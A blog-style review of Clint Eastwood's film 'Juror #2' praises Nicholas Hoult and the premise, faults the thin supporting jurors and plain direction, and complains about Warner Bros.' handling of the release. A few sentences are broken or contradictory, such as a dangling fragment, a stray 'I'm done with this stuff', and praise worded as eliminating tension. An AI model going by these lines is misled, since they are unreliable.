I always love to see a thriller with a good hook in theaters and Juror #2 intrigued me just by the basic premise. Clint Eastwood may be inconsistent as a director, but he has made so many certified classics that any film he directs deserves at least some attention. With this being his supposed last film, I had to believe that it would be something special and if this is indeed the case for him, he definitely ended on a high note. The main character and it left me with conflicted feelings in all the right ways Nicholas Hoult is great in a role that would demand a lot from any actor and his few scenes with Zoe Deutch really endeared me to this character. I love a good courtroom drama and the film managed to do a great job by making good use of its hook to eliminate all the tension in those scenes. I was constantly intrigued to see where things would go and it left me with one of the best questions you can have after any movie: what would I do in the same situation? The script has a lot to say about the justice system and it’s inherent flaws, and I was very happy that the film didn’t end on a stereotypically happy note, but rather on a rather bittersweet note that left it as conflicted as everything else up until that point. The commentary isn’t always as deep as it tries to be, though, with many observations ending up feeling rather shallow. A lot of that comes down to the supporting cast, particularly the other jurors, who ended up feeling one-note with very little depth. I’m done with this stuff They felt like conduits to provide commentary rather than fully-fledged characters, and their dialogue started to feel hokey to me very quickly. I also wish the overall technical craftsmanship was a bit stronger. Eastwood is a legend for a reason, but I just wish he did more interesting things behind the camera here. The way the central dilemma is revealed is rather underwhelming, and there were parts of the second act that started to drag for me because of how repetitive many of the courtroom scenes could be. But there’s nothing that offends me, it’s fantastically edited with a very good soundtrack, but I just couldn’t help but wonder what a director with a slightly more distinct visual style could have done. Juror #2 was exactly what I wanted it to be and I think it’s a travesty that Warner Bros. has no interest in pushing it properly It’s consistently fascinating and intriguing because it always makes the most of its premise. I wish the commentary was deeper and the technique a little stronger, but it’s nice to see a director of Eastwood’s caliber dedicate himself to something as quiet and meditative as this. We don’t get enough movies like this these days and it deserves so much more than the way Warner Bros. treated it. Looking for something different to add to your watchlist?
